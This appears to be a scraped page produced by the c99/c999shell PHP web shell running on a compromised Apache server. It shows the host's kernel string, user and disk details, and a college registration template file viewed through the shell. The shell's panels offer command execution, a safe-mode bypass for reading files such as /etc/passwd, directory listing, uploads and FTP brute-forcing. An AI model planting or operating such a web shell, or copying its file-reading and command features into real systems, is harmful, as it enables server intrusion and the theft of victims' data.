!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_addPersonPermission.php (3.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%">
    <tr>
        <td>
            <div align="center">
            <table width="100%" border="0"><?php echo form_open($this->config->item("rg_folder")."bdcollege/pp_insert_update");?>
                <tr>
                    <td align="center"><span class="h error">กำหนดผู้จัดตารางสอน</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><table class="szone">
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">หลักสูตร</td>
                            <td>
<?php
                            $js1 
"id=\"curId\" onChange=\"sendPost('hidform', {'curId':this.value,'tm':".$tmId.",'acY':".$acY."}, '".site_url($this->config->item('rg_folder').'bdcollege/pp_input')."')\"";
                            echo 
form_dropdown('curId'$rs_curset_value('curId',$curId), $js1);
?>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">ภาค/ปีการศึกษา</td>
                            <td>
<?php
                            $js2 
"id=\"tmId\" onChange=\"sendPost('hidform', {'tm':this.value,'curId':'".$curId."','acY':".$acY."}, '".site_url($this->config->item('rg_folder').'bdcollege/pp_input')."')\"";
                            echo 
form_dropdown('tmId'$rs_tmset_value('tmId',$tmId), $js2);
?>
                            /
<?php
                            $js3 
"id=\"acY\" onChange=\"sendPost('hidform', {'acY':this.value,'curId':'".$curId."','tm':".$tmId."}, '".site_url($this->config->item('rg_folder').'bdcollege/pp_input')."')\"";
                            echo 
form_dropdown('acY'$rs_coset_value('coAcY',$acY), $js3);
?>
                            </td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><table class="headCol">
                        <tr>
                            <th class="seqCol">ลำดับที่</th>
                            <th class="stdCodeCol">รหัสบุคลากร</th>
                            <th>ชื่อ-นามสกุลบุคลากร</th>
                            <th class="hourCol">ระบบจัดตารางสอน</th>
                            <th class="hourCol">ระบบภาระงานสอน</th>
                        </tr>
<?php
                $i 
0;
                if(isset(
$arr) && count($arr)) {
                    foreach(
$arr as $key => $val) {
                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td align="center"><?php echo $i+1;?></td>
                            <td align="center"><?php echo $arr[$key]['pp']->personCode;?>
                            <input type="hidden" name="prsId<?php echo $i;?>" id="prsId<?php echo $i;?>" value="<?php echo $arr[$key]['pp']->prsId;?>" /></td>
                            <td class="indent"><?php echo $arr[$key]['pp']->prefixName.$arr[$key]['pp']->fName.' '.$arr[$key]['pp']->lName;?></td>
                            <td align="center"><input type="checkbox" name="ppTT<?php echo $i;?>" id="ppTT<?php echo $i;?>" value="Y" <?php echo $arr[$key]['ppTT'];?> /></td>
                            <td align="center"><input type="checkbox" name="ppWL<?php echo $i;?>" id="ppWL<?php echo $i;?>" value="Y" <?php echo $arr[$key]['ppWL'];?> /></td>
<?php
                        $i
++;
                    }
                } else {
?>
                        <tr>
                            <td colspan="5" align="center"><span class="error">** ไม่ปรากฏรายการในฐานข้อมูล **</span></td>
                        </tr>
<?php
                
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td colspan="2" align="right">รวม <?php echo $i;?> รายการ</font></td>
                <tr>
                <tr>
                    <td colspan="2" align="center">
<?php
                            $lnk 
"<input type=\"submit\" name=\"add\" value=\"บันทึก\" />";
                            echo 
$oCRUD->CRUD($lnk'C');
?>
                    <input type="reset" name="clear" value="เคลียร์ข้อมูล" />
                    <input type="hidden" name="cnt" id="cnt" value="<?php echo $i;?>" />
                    </td>
                </tr>
            </table><?php echo form_close();?></div>
        <br></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0113 ]--